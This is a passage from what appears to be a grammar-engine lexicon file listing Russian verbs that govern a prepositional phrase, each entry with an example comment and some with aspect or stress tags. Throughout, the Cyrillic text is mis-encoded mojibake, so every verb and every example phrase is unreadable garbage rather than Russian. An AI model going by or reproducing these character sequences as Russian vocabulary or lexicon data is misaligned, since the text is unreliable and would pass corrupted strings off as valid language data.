rus_verbs:ะฟัะตะพะฑัะฐะถะฐัััั{}, // ะฟัะตะพะฑัะฐะถะฐัััั ะฒ ะบะพัะพะปะตะฒั
rus_verbs:ะพัะณะฐะฝะธะทะพะฒะฐัััั{}, // ะพัะณะฐะฝะธะทะพะฒะฐัััั ะฒ ะณััะฟะฟั
rus_verbs:ัะถะฐะปะธัั{}, // ัะถะฐะปะธัั ะฒ ััะบั
rus_verbs:ะฟัะพัะธัะบะธะฒะฐัััั{}, // ะฟัะพัะธัะบะธะฒะฐัััั ะฒ ะฐัะดะธัะพัะธั
rus_verbs:ะฟัะตะฟัะพะฒะพะดะธัั{}, // ะฟัะตะฟัะพะฒะพะดะธัั ะฒ ะทะฐะบััะพะบ
rus_verbs:ัะฐะทัะตะทะถะฐัััั{}, // ัะฐะทัะตะทะถะฐัััั ะฒ ัะฐะทะฝัะต ััะพัะพะฝั
rus_verbs:ะฟัะพะฟัั
ัะตัั{}, // ะฟัะพะฟัั
ัะตัั ะฒ ัััะฑะบั
rus_verbs:ัะฒะพะปะพัั{}, // ัะฒะพะปะพัั ะฒ ะฝะพัั
rus_verbs:ะพัะพะดะฒะธะณะฐัััั{}, // ะพัะพะดะฒะธะณะฐัััั ะฒ ััะพัะพะฝั
rus_verbs:ัะฐะทะปะธะฒะฐัั{}, // ัะฐะทะปะธะฒะฐัั ะฒ ััะฐะบะฐะฝั
rus_verbs:ัะฑะตะณะฐัััั{}, // ัะฑะตะณะฐัััั ะฒ ะฐะบัะพะฒัะน ะทะฐะป
rus_verbs:ะฝะฐะฒะตะดะฐัััั{}, // ะฝะฐะฒะตะดะฐัััั ะฒ ะบะปะฐะดะพะฒะบั
rus_verbs:ะฟะตัะตะบะพัะตะฒะฐัั{}, // ะฟะตัะตะบะพัะตะฒะฐัั ะฒ ะณะพัั
rus_verbs:ะฟัะพัะตะฑะตัะฐัั{}, // ะฟัะพัะตะฑะตัะฐัั ะฒ ัััะฑะบั
rus_verbs:ะฟะตัะตะบะปะฐะดัะฒะฐัั{}, // ะฟะตัะตะบะปะฐะดัะฒะฐัั ะฒ ะดััะณะพะน ะบะฐัะผะฐะฝ
rus_verbs:ัะณะปัะฑะปััััั{}, // ัะณะปัะฑะปััััั ะฒ ัะตะพัะธั
rus_verbs:ะฟะตัะตะธะผะตะฝะพะฒะฐัั{}, // ะฟะตัะตะธะผะตะฝะพะฒะฐัั ะฒ ะณะพัะพะด
rus_verbs:ะฟะตัะตะผะตัะฝััััั{}, // ะฟะตัะตะผะตัะฝััััั ะฒ ะปะฐะณะตัั ะฟัะพัะธะฒะฝะธะบะฐ
rus_verbs:ัะฐะทะฝะพัะธัั{}, // ัะฐะทะฝะพัะธัั ะฒ ัะตะฟะบะธ
rus_verbs:ะพััะฟะฐัััั{}, // ะพััะฟะฐัััั ะฒ ั
ะพะปะพะดะฐ
rus_verbs:ะฟะพะฟัะพัะธัััั{}, // ะฟะพะฟัะพัะธัััั ะฒ ััะฐะปะตั
rus_verbs:ััะทะฒะธัั{}, // ััะทะฒะธัั ะฒ ัะตัะดัะต
rus_verbs:ะฟะตัะตัะฐัะธัั{}, // ะฟะตัะตัะฐัะธัั ะฒ ะดะพะผ
rus_verbs:ะทะฐะบััะฐัััั{}, // ะทะฐะบััะฐัััั ะฒ ะฟะปะตะด
// rus_verbs:ัะฟะฐะบะพะฒะฐัั{}, // ัะฟะฐะบะพะฒะฐัั ะฒ ะฑัะผะฐะณั
ะธะฝัะธะฝะธัะธะฒ:ัะธะบะฐัั{ aux stress="ัะธะบ^ะฐัั" }, ะณะปะฐะณะพะป:ัะธะบะฐัั{ aux stress="ัะธะบ^ะฐัั" }, // ัะธะบะฐัั ะฒ ะบัะตะฟะพััั
rus_verbs:ั
ะธั
ะธะบะฐัั{}, // ั
ะธั
ะธะบะฐัั ะฒ ะบัะปะฐัะพะบ
rus_verbs:ะพะฑัะตะดะธะฝะธัั{}, // ะพะฑัะตะดะธะฝะธัั ะฒ ัะตัั
ะธะฝัะธะฝะธัะธะฒ:ัะปะตัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะปะตัะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะปะตัะฐัั ะฒ ะะฐะปะธัะพัะฝะธั
ะดะตะตะฟัะธัะฐััะธะต:ัะปะตัะฐะฒ{},
rus_verbs:ะทะฐะฟะพะปะทัะธ{}, // ะทะฐะฟะพะปะทัะธ ะฒ ะฝะพัะบั
rus_verbs:ะฟะตัะตัะฐััะธ{}, // ะฟะตัะตัะฐััะธ ะฒ ะบััะฟะฝัั ะฐัะตัั
rus_verbs:ัะฟะธัะฐัั{}, // ัะฟะธัะฐัั ะฒ ััะธะปั
rus_verbs:ะฟัะพัะฐัะธะฒะฐัััั{}, // ะฟัะพัะฐัะธะฒะฐัััั ะฒ ะฑัะฝะบะตั
rus_verbs:ะฟััะบะฐัััั{}, // ะฟััะบะฐัััั ะฒ ะฟะพะณะพะฝั
rus_verbs:ัะพะณัะตะฒะฐัั{}, // ัะพะณัะตะฒะฐัั ะฒ ะผะพัะพะท
rus_verbs:ะฝะฐะปะธะฒะฐัััั{}, // ะฝะฐะปะธะฒะฐัััั ะฒ ะตะผะบะพััั
rus_verbs:ัะฝะตััะธัั{}, // ัะฝะตััะธัั ะฒ ะฝะตะฑะพ
rus_verbs:ะทะฐัะฒััะฝััั{}, // ะทะฐัะฒััะฝััั ะฒ ัะบะฐั
rus_verbs:ัะธะณะฐะฝััั{}, // ัะธะณะฐะฝััั ะฒ ะฒะพะดั
rus_verbs:ะพะบัะฝััั{}, // ะพะบัะฝััั ะฒ ะปะตะดัะฝัั ะฒะพะดั
rus_verbs:ะฟัะพัะพัะธัััั{}, // ะฟัะพัะพัะธัััั ะฒ ัะฐะฟะพะณ
rus_verbs:ัะพะฒะฐัััั{}, // ัะพะฒะฐัััั ะฒ ัะพะปะฟั
rus_verbs:ะฟัะพัะพะปะบะฐัััั{}, // ะฟัะพัะพะปะบะฐัััั ะฒ ะณะฐัะดะตัะพะฑ
rus_verbs:ะทะฐะปะพะถะธัั{}, // ะทะฐะปะพะถะธัั ะฒ ะปะพะผะฑะฐัะด
rus_verbs:ะฟะตัะตะบะฐัะธัั{}, // ะฟะตัะตะบะฐัะธัั ะฒ ัะฐัะฐะน
rus_verbs:ะฟะพััะฐะฒะปััั{}, // ะฟะพััะฐะฒะปััั ะฒ ะะธัะฐะน
rus_verbs:ะทะฐะปะตะทะฐัั{}, // ะทะฐะปะตะทะฐัั ะฒ ะดะพะปะณะธ
rus_verbs:ะพัะปััะฐัััั{}, // ะพัะปััะฐัััั ะฒ ััะฐะปะตั
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ะฒ ะบััั
rus_verbs:ะทะฐัััั{}, // ะทะฐัััั ะฒ ะทะตะผะปั
rus_verbs:ะทะฐัะฐะดะธัั{}, // ะทะฐัะฐะดะธัั ะฒ ัะตะปะพ
rus_verbs:ะฟัะพัะผัะณะฝััั{}, // ะฟัะพัะผัะณะฝััั ะฒ ะดะฒะตัั
rus_verbs:ะฟะตัะตััะฐะฒะธัั{}, // ะฟะตัะตััะฐะฒะธัั ะฒ ัะบะฐั
rus_verbs:ะพััะฐะปะธัั{}, // ะพััะฐะปะธัั ะฒ ะฟะปะฐะฒะฐะฝะธะต
rus_verbs:ะฝะฐะฑะธัะฐัััั{}, // ะฝะฐะฑะธัะฐัััั ะฒ ะบะพะผะฐะฝะดั
rus_verbs:ะปัะณะฝััั{}, // ะปัะณะฝััั ะฒ ะถะธะฒะพั
rus_verbs:ะฟัะธัะฒะพัะธัั{}, // ะฟัะธัะฒะพัะธัั ะฒ ะถะธะทะฝั
rus_verbs:ะฟัะพะบะพะฒัะปััั{}, // ะฟัะพะบะพะฒัะปััั ะฒ ะณะฐัะดะตัะพะฑ
rus_verbs:ะฟัะธะบะฐัะธัั{}, // ะฟัะธะบะฐัะธัั ะฒ ะณะฐัะฐะถ
rus_verbs:ะทะฐะปะตัะตัั{}, // ะทะฐะปะตัะตัั ะฒ ะพะบะฝะพ
rus_verbs:ะฟะตัะตะดะตะปะฐัั{}, // ะฟะตัะตะดะตะปะฐัั ะฒ ะผะพะฟะตะด
rus_verbs:ะฟัะพัะฐัะธัั{}, // ะฟัะพัะฐัะธัั ะฒ ัะพะฒะตั
rus_verbs:ะพะฑะผะฐะบะฝััั{}, // ะพะฑะผะฐะบะฝััั ะฒ ะฒะพะดั
rus_verbs:ะพัะบะปะพะฝััััั{}, // ะพัะบะปะพะฝััััั ะฒ ััะพัะพะฝั
rus_verbs:ะทะฐะฟะธั
ะฐัั{}, // ะทะฐะฟะธั
ะฐัั ะฒ ะฟะฐะบะตั
rus_verbs:ะธะทะฑะธัะฐัั{}, // ะธะทะฑะธัะฐัั ะฒ ัะพะฒะตั
rus_verbs:ะทะฐะณััะทะธัั{}, // ะทะฐะณััะทะธัั ะฒ ะฑััะตั
rus_verbs:ัะฟะปัะฒะฐัั{}, // ัะฟะปัะฒะฐัั ะฒ ะะฐัะธะถ
rus_verbs:ะทะฐะฑะธะฒะฐัั{}, // ะทะฐะฑะธะฒะฐัั ะฒ ะผะตัะทะปะพัั
rus_verbs:ะฟะพััะบะฐัั{}, // ะฟะพััะบะฐัั ะฒ ะฑะตะทะถะธะทะฝะตะฝะฝัั ัััั
rus_verbs:ััะตะทะถะฐัััั{}, // ััะตะทะถะฐัััั ะฒ ัะฐะฝะฐัะพัะธะน
rus_verbs:ะทะฐะปะตะฟะธัั{}, // ะทะฐะปะตะฟะธัั ะฒ ััะปะพ
rus_verbs:ะฝะฐะฑะธัััั{}, // ะฝะฐะฑะธัััั ะฒ ะบะฐัะผะฐะฝั
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ะฒ ะฝะพัั
rus_verbs:ัะฟัััะฐัั{}, // ัะฟัััะฐัั ะฒ ะบะฐะผะตัั
rus_verbs:ะฟะตัะตะผะตััะธัั{}, // ะฟะตัะตะผะตััะธัั ะฒ ะบะฐะผะตัั ะฐะฝะฐะฑะธะพะทะฐ
rus_verbs:ะทะฐะบัะฐััััั{}, // ะทะฐะบัะฐััััั ะฒ ะดััั
rus_verbs:ัะผะตััะธัััั{}, // ัะผะตััะธัััั ะฒ ะธะฝััะฐะบัะฐัะฝัั ะพะฑะปะฐััั
rus_verbs:ะทะฐะฟััะบะฐัั{}, // ะทะฐะฟััะบะฐัั ะฒ ัะตัะธั
rus_verbs:ะฟะพััััะธัั{}, // ะฟะพััััะธัั ะฒ ัะฐัะพะฑั
rus_verbs:ะทะฐะฑัะฐััะฒะฐัั{}, // ะทะฐะฑัะฐััะฒะฐัั ะฒ ัะธัััั ะฒะพะดั
rus_verbs:ะฟะตัะตัะตะปะธัั{}, // ะฟะตัะตัะตะปะธัั ะฒ ะพัะดะฐะปะตะฝะฝัั ะดะตัะตะฒะฝั
rus_verbs:ะฟะตัะตะตะทะถะฐัั{}, // ะฟะตัะตะตะทะถะฐัั ะฒ ะฝะพะฒัั ะบะฒะฐััะธัั
rus_verbs:ะฟัะธะฟะพะดะฝะธะผะฐัั{}, // ะฟัะธะฟะพะดะฝะธะผะฐัั ะฒ ะฒะพะทะดัั
rus_verbs:ะดะพะฑะฐะฒะธัััั{}, // ะดะพะฑะฐะฒะธัััั ะฒ ะบะพะฝะตั ะพัะตัะตะดะธ
rus_verbs:ัะฑััั{}, // ัะฑััั ะฒ ัะฐััั
rus_verbs:ะฟะตัะตะดะฒะธะณะฐัั{}, // ะฟะตัะตะดะฒะธะณะฐัั ะฒ ัะพัะตะดะฝัั ะบะปะตัะบั
rus_verbs:ะดะพะฑะฐะฒะปััััั{}, // ะดะพะฑะฐะฒะปััััั ะฒ ะพัะตัะตะดั
rus_verbs:ะดะพะฟะธัะฐัั{}, // ะดะพะฟะธัะฐัั ะฒ ะฟะตัะตัะตะฝั
rus_verbs:ะทะฐะฟะธััะฒะฐัััั{}, // ะทะฐะฟะธััะฒะฐัััั ะฒ ะบััะถะพะบ
rus_verbs:ะฟัะพะดะฐัััั{}, // ะฟัะพะดะฐัััั ะฒ ะบัะตะดะธัะฝะพะต ัะฐะฑััะฒะพ
rus_verbs:ะฟะตัะตะฟะธััะฒะฐัั{}, // ะฟะตัะตะฟะธััะฒะฐัั ะฒ ัะตััะฐะดะบั
rus_verbs:ะทะฐะฟะปััั{}, // ะทะฐะฟะปััั ะฒ ัะตััะธัะพัะธะฐะปัะฝัะต ะฒะพะดั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟะธั^ะฐัั" }, // ะฟะพะฟะธัะฐัั ะฒ ะณะพััะพะบ
ะณะปะฐะณะพะป:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, ะณะปะฐะณะพะป:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟะธั^ะฐัั" },
rus_verbs:ะพัะฑะธัะฐัั{}, // ะพัะฑะธัะฐัั ะฒ ะณะฒะฐัะดะธั
rus_verbs:ะฝะฐัะตะฟััะฒะฐัั{}, // ะฝะฐัะตะฟััะฒะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะบะพะฒัะปััั{}, // ะบะพะฒัะปััั ะฒ ััะพะนะปะพ
rus_verbs:ะฟัะธะปะตัะฐัั{}, // ะฟัะธะปะตัะฐัั ะฒ ะะฐัะธะถ
rus_verbs:ะฟัะพะปะธัััั{}, // ะฟัะพะปะธัััั ะฒ ะบะฐะฝะฐะปะธะทะฐัะธั
rus_verbs:ะทะฐะฟะธัะฐัั{}, // ะทะฐะฟะธัะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะฟะพะดะฒะตะทัะธ{}, // ะฟะพะดะฒะตะทัะธ ะฒ ะฑะพะปัะฝะธัั
rus_verbs:ะฟัะธะฟะตัะตัััั{}, // ะฟัะธะฟะตัะตัััั ะฒ ัะตะฐัั
rus_verbs:ััะตัั{}, // ััะตัั ะฒ ัะตัั
rus_verbs:ะฟัะพััะฒะฐัััั{}, // ะฟัะพััะฒะฐัััั ะฒ ะฑััะตั
rus_verbs:ัะฒะพะทะธัั{}, // ัะฒะพะทะธัั ะฒ ัะตะผะพะฝั
rus_verbs:ััะตะดะฐัั{}, // ััะตะดะฐัั ะฒ ะพะฑะตะด
rus_verbs:ะฟัะพััะฝััััั{}, // ะฟัะพััะฝััััั ะฒ ะดะฒะตัั
rus_verbs:ะฟะตัะตะฝะตััะธัั{}, // ะฟะตัะตะฝะตััะธัั ะฒ ะฟัะพัะปะพะต
rus_verbs:ะทะฐะฒะตะทัะธ{}, // ะทะฐะฒะตะทัะธ ะฒ ะผะฐะณะฐะทะธะฝ
rus_verbs:ะฟัะพะปะพะถะธัั{}, // ะฟัะพะปะพะถะธัั ะฒ ะดะตัะตะฒะฝั
rus_verbs:ะพะฑัะตะดะธะฝััััั{}, // ะพะฑัะตะดะธะฝััััั ะฒ ะฟัะพััะพัะท
rus_verbs:ัะฐะทะฒะธัััั{}, // ัะฐะทะฒะธัััั ะฒ ะฑะฐะฑะพัะบั
rus_verbs:ะทะฐัะตะผะตะฝะธัั{}, // ะทะฐัะตะผะตะฝะธัั ะฒ ะบะฐะฑะธะฝะบั
rus_verbs:ัะบะฐััะฒะฐัััั{}, // ัะบะฐััะฒะฐัััั ะฒ ัะผั
rus_verbs:ะทะฐะฒะพะทะธัััั{}, // ะทะฐะฒะพะทะธัััั ะฒ ะผะฐะณะฐะทะธะฝ
rus_verbs:ะฝะฐะฝะธะผะฐัั{}, // ะฝะฐะฝะธะผะฐัั ะฒ ัะตะนั
rus_verbs:ะฟะพัะฟะตัั{}, // ะฟะพัะฟะตัั ะฒ ะบะปะฐัั
rus_verbs:ะบะธะดะฐัััั{}, // ะบะธะฝะฐัััั ะฒ ะบัะฐะนะฝะพััะธ
rus_verbs:ะฟะพัะฟะตะฒะฐัั{}, // ะฟะพัะฟะตะฒะฐัั ะฒ ะพะฟะตัั
rus_verbs:ะพะฑะตัะฝััั{}, // ะพะฑะตัะฝััั ะฒ ัะพะปัะณั
rus_verbs:ะพะฑัะฐัะธัััั{}, // ะพะฑัะฐัะธัััั ะฒ ะฟัะพะบััะฐัััั
rus_verbs:ะธััะพะปะบะพะฒะฐัั{}, // ะธััะพะปะบะพะฒะฐัั ะฒ ัะฒะพั ะฟะพะปัะทั
rus_verbs:ัะฐัะฐัะธัััั{}, // ัะฐัะฐัะธัััั ะฒ ะดะธัะฟะปะตะน
rus_verbs:ะฟัััะฝััั{}, // ะฟัััะฝััั ะฒ ะบัะปะฐัะพะบ
rus_verbs:ะทะฐะณะฝััั{}, // ะทะฐะณะฝััั ะฒ ะดััะณัั ััะพัะพะฝั
rus_verbs:ัะฐะทะดะฐัั{}, // ัะฐะทะดะฐัั ะฒ ัะฐะทะฝัะต ััะบะธ
rus_verbs:ะฝะฐะทะฝะฐัะธัั{}, // ะฝะฐะทะฝะฐัะธัั ะฒ ะฟัะธะตะผะฝัั ะบะพะผะธััะธั
rus_verbs:ะบะธะดะฐัั{}, // ะบะธะดะฐัั ะฒ ะบัััั
rus_verbs:ัะฒะปะตะบะฐัั{}, // ัะฒะปะตะบะฐัั ะฒ ะปะตั
rus_verbs:ะฟะตัะตัะตะปะธัััั{}, // ะฟะตัะตัะตะปะธัััั ะฒ ััะถะพะต ัะตะปะพ
rus_verbs:ะฟัะธััะปะฐัั{}, // ะฟัะธััะปะฐัั ะฒ ะณะพัะพะด
rus_verbs:ัะฟะปััั{}, // ัะฟะปััั ะฒ ะะฒัะพะฟั
rus_verbs:ะทะฐะฟัะธัะธัะฐัั{}, // ะทะฐะฟัะธัะธัะฐัั ะฒ ะฟะพะปะฝัะน ะณะพะปะพั
rus_verbs:ััะฐัะธัั{}, // ััะฐัะธัั ะฒ ะปะพะณะพะฒะพ
rus_verbs:ะทะฐะฒะตัะฝััััั{}, // ะทะฐะฒะตัะฝััััั ะฒ ะฟะปะตะด
rus_verbs:ะทะฐะฝะพัะธัั{}, // ะทะฐะฝะพัะธัั ะฒ ะฑะปะพะบะฝะพั
rus_verbs:ะฟััะธัััั{}, // ะฟััะธัััั ะฒ ะดะพะผ
rus_verbs:ะฝะฐะฒะตะดัะฒะฐัััั{}, // ะฝะฐะฒะตะดัะฒะฐัััั ะฒ ะฑะพะปัะฝะธัั
rus_verbs:ะฝััััั{}, // ะฝััััั ะฒ ะฟัะพััะฑั
rus_verbs:ะทะฐัะฐััะธัั{}, // ะทะฐัะฐััะธัั ะฒ ะฑะฐั
rus_verbs:ะฝะฐะทะฝะฐัะฐัััั{}, // ะฝะฐะทะฝะฐัะฐะตััั ะฒ ะบะพะผะธััะธั
rus_verbs:ะผะพัะฐัััั{}, // ะผะพัะฐัััั ะฒ ะพะฑะปะฐััะฝะพะน ัะตะฝัั
rus_verbs:ัะฐะทัะณัะฐัั{}, // ัะฐะทัะณัะฐัั ะฒ ะบะฐััั
rus_verbs:ะฟัะพะฟะธัะฐัั{}, // ะฟัะพะฟะธัะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะฟะธั
ะฝััั{}, // ะฟะธั
ะฝััั ะฒ ะฑะพะบ
rus_verbs:ัะผะธะณัะธัะพะฒะฐัั{}, // ัะผะธะณัะธัะพะฒะฐัั ะฒ ะะฐะฝะฐะดั
rus_verbs:ะฟะพะดะบะปััะธัั{}, // ะฟะพะดะบะปััะธัั ะฒ ัะตัั
rus_verbs:ัะฟะตัะตัั{}, // ัะฟะตัะตัั ะฒ ััะฝะดะฐะผะตะฝั
rus_verbs:ัะฟะปะฐัะธัั{}, // ัะฟะปะฐัะธัั ะฒ ะบะฐััั
rus_verbs:ะฟะพัะฐัะธัััั{}, // ะฟะพัะฐัะธัััั ะฒ ะผะตะดะฟัะฝะบั
rus_verbs:ะฟัะธะณะฝะฐัั{}, // ะฟัะธะณะฝะฐัั ะฒ ััะพะนะปะพ
rus_verbs:ะพััะตัะฝะธัั{}, // ะพััะตัะฝะธัั ะฒ ัะพะนะต
rus_verbs:ััััะฐัััั{}, // ััััะฐัััั ะฒ ะฒะพัะพัะฐ
rus_verbs:ะฟะตัะตัะธัะปะธัั{}, // ะฟะตัะตัะธัะปะธัั ะฒ ัะพะฝะด
rus_verbs:ัะพะผะบะฝััั{}, // ัะพะผะบะฝััั ะฒ ะบััะณ
rus_verbs:ะทะฐะบะฐัะฐัััั{}, // ะทะฐะบะฐัะฐัััั ะฒ ัะตะทะตัะฒัะฐั
rus_verbs:ะบะพะปัะฝััั{}, // ะบะพะปัะฝััั ะฒ ะฑะพะบ
rus_verbs:ะฝะฐะบัะตะฝะธัััั{}, // ะฝะฐะบัะตะฝะธัััั ะฒ ััะพัะพะฝั ะฑะตัะตะณะฐ
rus_verbs:ะฟะพะดะฒะธะฝััััั{}, // ะฟะพะดะฒะธะฝััััั ะฒ ะดััะณัั ััะพัะพะฝั
rus_verbs:ัะฐะทะฝะตััะธ{}, // ัะฐะทะฝะตััะธ ะฒ ะบะปะพััั
rus_verbs:ะพัะปะธะฒะฐัั{}, // ะพัะปะธะฒะฐัั ะฒ ัะพัะผั
rus_verbs:ะฟะพะดะบะธะฝััั{}, // ะฟะพะดะบะธะฝััั ะฒ ะบะฐัะผะฐะฝ
rus_verbs:ัะฒะพะดะธัั{}, // ัะฒะพะดะธัั ะฒ ะบะฐะฑะธะฝะตั
rus_verbs:ััะบะฐะบะฐัั{}, // ััะบะฐะบะฐัั ะฒ ัะบะพะปั
rus_verbs:ัะดะฐัััั{}, // ัะดะฐัััั ะฒ ะฑะฐัะฐะฑะฐะฝั
rus_verbs:ะดะฐัััั{}, // ะดะฐัััั ะฒ ััะบะธ
rus_verbs:ะฟะพัะตะปะพะฒะฐัััั{}, // ะฟะพัะตะปะพะฒะฐัััั ะฒ ะณัะฑั
rus_verbs:ะฟะพัะฒะตัะธัั{}, // ะฟะพัะฒะตัะธัั ะฒ ะฟะพะดะฒะฐะป
rus_verbs:ััะบะฐัั{}, // ััะบะฐัั ะฒ ะฐัะฑัะท
rus_verbs:ัะพะตะดะธะฝััััั{}, // ัะพะตะดะธะฝััััั ะฒ ะบะพะปััะพ
rus_verbs:ัะฐัััะฝััั{}, // ัะฐัััะฝััั ะฒ ัะพะฝะบัั ะฝะธัะพัะบั
rus_verbs:ะฟะพะฑัะพัะฐัั{}, // ะฟะพะฑัะพัะฐัั ะฒ ะฟัะปั
rus_verbs:ัััะบะฝััััั{}, // ัััะบะฝััััั ะฒ ะทะฐะบััััั ะดะฒะตัั
rus_verbs:ะฟัะพะธะณััะฒะฐัั{}, // ะฟัะพะธะณััะฒะฐัั ะฒ ัะตะฝะฝะธั
rus_verbs:ะดัะฝััั{}, // ะดัะฝััั ะฒ ัััะฑะพัะบั
rus_verbs:ัะปะตัะฐัั{}, // ัะปะตัะฐัั ะฒ ะะฐัะธะถ
rus_verbs:ะฟะตัะตะฒะพะดะธัััั{}, // ะฟะตัะตะฒะพะดะธัััั ะฒ ัะธะปะธะฐะป
rus_verbs:ะพะบัะฝััััั{}, // ะพะบัะฝััััั ะฒ ะฒะพะดะพะฒะพัะพั ัะพะฑััะธะน
rus_verbs:ะฟะพะฟัััะฐัััั{}, // ะฟะพะฟัััะฐัััั ะฒ ะฝะพัั
rus_verbs:ะฟะตัะตะฒะตะทัะธ{}, // ะฟะตัะตะฒะตะทัะธ ะฒ ัะพัะตะดะฝัั ะฟะฐะปะฐัั
rus_verbs:ัะพะฟะฐัั{}, // ัะพะฟะฐัั ะฒ ัะบะพะปั
rus_verbs:ะพัะฝะพัะธัั{}, // ะพัะฝะพัะธัั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ัะบะปะฐะดัะฒะฐัั{}, // ัะบะปะฐะดัะฒะฐัั ะฒ ััะพะฟะบั
rus_verbs:ัะบะฐัะธัั{}, // ัะบะฐัะธะป ะฒ ัััะฝะต
rus_verbs:ัะฑะธัะฐัั{}, // ัะฑะธัะฐัั ะฒ ััะผะบั
rus_verbs:ะฟะพะผะฐะปะบะธะฒะฐัั{}, // ะฟะพะผะฐะปะบะธะฒะฐัั ะฒ ัััะฟะพัะบั
rus_verbs:ัะพะฝััั{}, // ัะพะฝััั ะฒ ะณััะทั
rus_verbs:ะณะปะฐะทะตัั{}, // ะณะปะฐะทะตัั ะฒ ะฑะธะฝะพะบะปั
rus_verbs:ะฟัะตะพะฑัะฐะทะธัััั{}, // ะฟัะตะพะฑัะฐะทะธัััั ะฒ ะดััะณะพะณะพ ัะตะปะพะฒะตะบะฐ
rus_verbs:ะทะฐะฟััะณะฝััั{}, // ะทะฐะฟััะณะฝััั ะฒ ะฟะพะตะทะด
rus_verbs:ัะณะพะดะธัััั{}, // ัะณะพะดะธัััั ะฒ ััะฟ
rus_verbs:ะฟัะพะฟะพะปะทัะธ{}, // ะฟัะพะฟะพะปะทัะธ ะฒ ะฝะพัั
rus_verbs:ะทะฐะฑะธัะฐัััั{}, // ะทะฐะฑะธัะฐัััั ะฒ ะบะพะปััะบั
rus_verbs:ัะฑะตะถะฐัััั{}, // ัะฑะตะถะฐะปะธัั ะฒ ะบะปะฐัั
rus_verbs:ะทะฐะบะฐัะธัััั{}, // ะทะฐะบะฐัะธัััั ะฒ ัะณะพะป
rus_verbs:ะฟะปะตะฒะฐัั{}, // ะฟะปะตะฒะฐัั ะฒ ะดััั
rus_verbs:ะฟะพะธะณัะฐัั{}, // ะฟะพะธะณัะฐัั ะฒ ะดะตะผะพะบัะฐัะธั
rus_verbs:ะบะฐะฝััั{}, // ะบะฐะฝััั ะฒ ะฝะตะฑััะธะต
rus_verbs:ะพะฟะฐะทะดัะฒะฐัั{}, // ะพะฟะฐะทะดัะฒะฐัั ะฒ ัะบะพะปั
rus_verbs:ะพัะฟะพะปะทัะธ{}, // ะพัะฟะพะปะทัะธ ะฒ ััะพัะพะฝั
rus_verbs:ััะตะบะฐัััั{}, // ััะตะบะฐัััั ะฒ ะพัััะพะนะฝะธะบ
rus_verbs:ะทะฐะฟะธั
ะฝััั{}, // ะทะฐะฟะธั
ะฝััั ะฒ ะฟะฐะบะตั
rus_verbs:ะฒััะฒััะฝััั{}, // ะฒััะฒััะฝััั ะฒ ะบะพัะธะดะพั
rus_verbs:ัะฒัะทัะฒะฐัััั{}, // ัะฒัะทัะฒะฐัััั ะฒ ะฟะปะพัะฝัะน ัะทะตะป
rus_verbs:ะทะฐัะพะปะบะฐัั{}, // ะทะฐัะพะปะบะฐัั ะฒ ัั
ะพ
rus_verbs:ัะบัััะธัั{}, // ัะบัััะธัั ะฒ ัััะฑะพัะบั
rus_verbs:ัะฒะพัะฐัะธะฒะฐัั{}, // ัะฒะพัะฐัะธะฒะฐัั ะฒ ัััะฑะพัะบั
rus_verbs:ัะฟะปะตััะธัั{}, // ัะฟะปะตััะธัั ะฒ ัะทะตะป
rus_verbs:ะทะฐัะบะพัะธัั{}, // ะทะฐัะบะพัะธัั ะฒ ะบะฐะฑะธะฝะตั
rus_verbs:ะฟัะพะฒะฐะปะธะฒะฐัััั{}, // ะฟัะพะฒะฐะปะธะฒะฐัััั ะฒ ัะพะฝ
rus_verbs:ัะฒะตัะพะฒะฐัั{}, // ัะฒะตัะพะฒะฐัั ะฒ ัะฒะพั ะฑะตะทะฝะฐะบะฐะทะฐะฝะฝะพััั
rus_verbs:ะฟะตัะตะฟะธัะฐัั{}, // ะฟะตัะตะฟะธัะฐัั ะฒ ัะตััะฐะดะบั
rus_verbs:ะฟะตัะตะฝะพัะธัััั{}, // ะฟะตัะตะฝะพัะธัััั ะฒ ะผะธั ัะฐะฝัะฐะทะธะน
rus_verbs:ะทะฐะฒะพะดะธัั{}, // ะทะฐะฒะพะดะธัั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ััะฝััััั{}, // ััะฝััััั ะฒ ะฐัะดะธัะพัะธั
rus_verbs:ััััะฐะธะฒะฐัััั{}, // ััััะฐะธะฒะฐัััั ะฒ ะฐะฒัะพะผะฐััะตััะบัั
rus_verbs:ะฟัะพะฟััะบะฐัั{}, // ะฟัะพะฟััะบะฐัั ะฒ ะทะฐะป
ะธะฝัะธะฝะธัะธะฒ:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัะฑะตะณะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฑะตะณะฐัั ะฒ ะบะธะฝะพ
ะณะปะฐะณะพะป:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฑะตะณะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัะฑะตะณะฐั{}, ะดะตะตะฟัะธัะฐััะธะต:ัะฑะตะณะฐะฒ{},
rus_verbs:ะฟัะธะฑะตะณะฐัั{}, // ะฟัะธะฑะตะณะฐัั ะฒ ัะบะพะปั
rus_verbs:ััะตะทะดะธัั{}, // ััะตะทะดะธัั ะฒ ะปะตั
rus_verbs:ะทะฐั
ะปะพะฟะฐัั{}, // ะทะฐั
ะปะพะฟะฐัั ะฒ ะปะฐะดะพัะบะธ
rus_verbs:ะพะฟัะพะบะธะฝััััั{}, // ะพะฟัะพะบะธะฝััััั ะฒ ะณััะทั
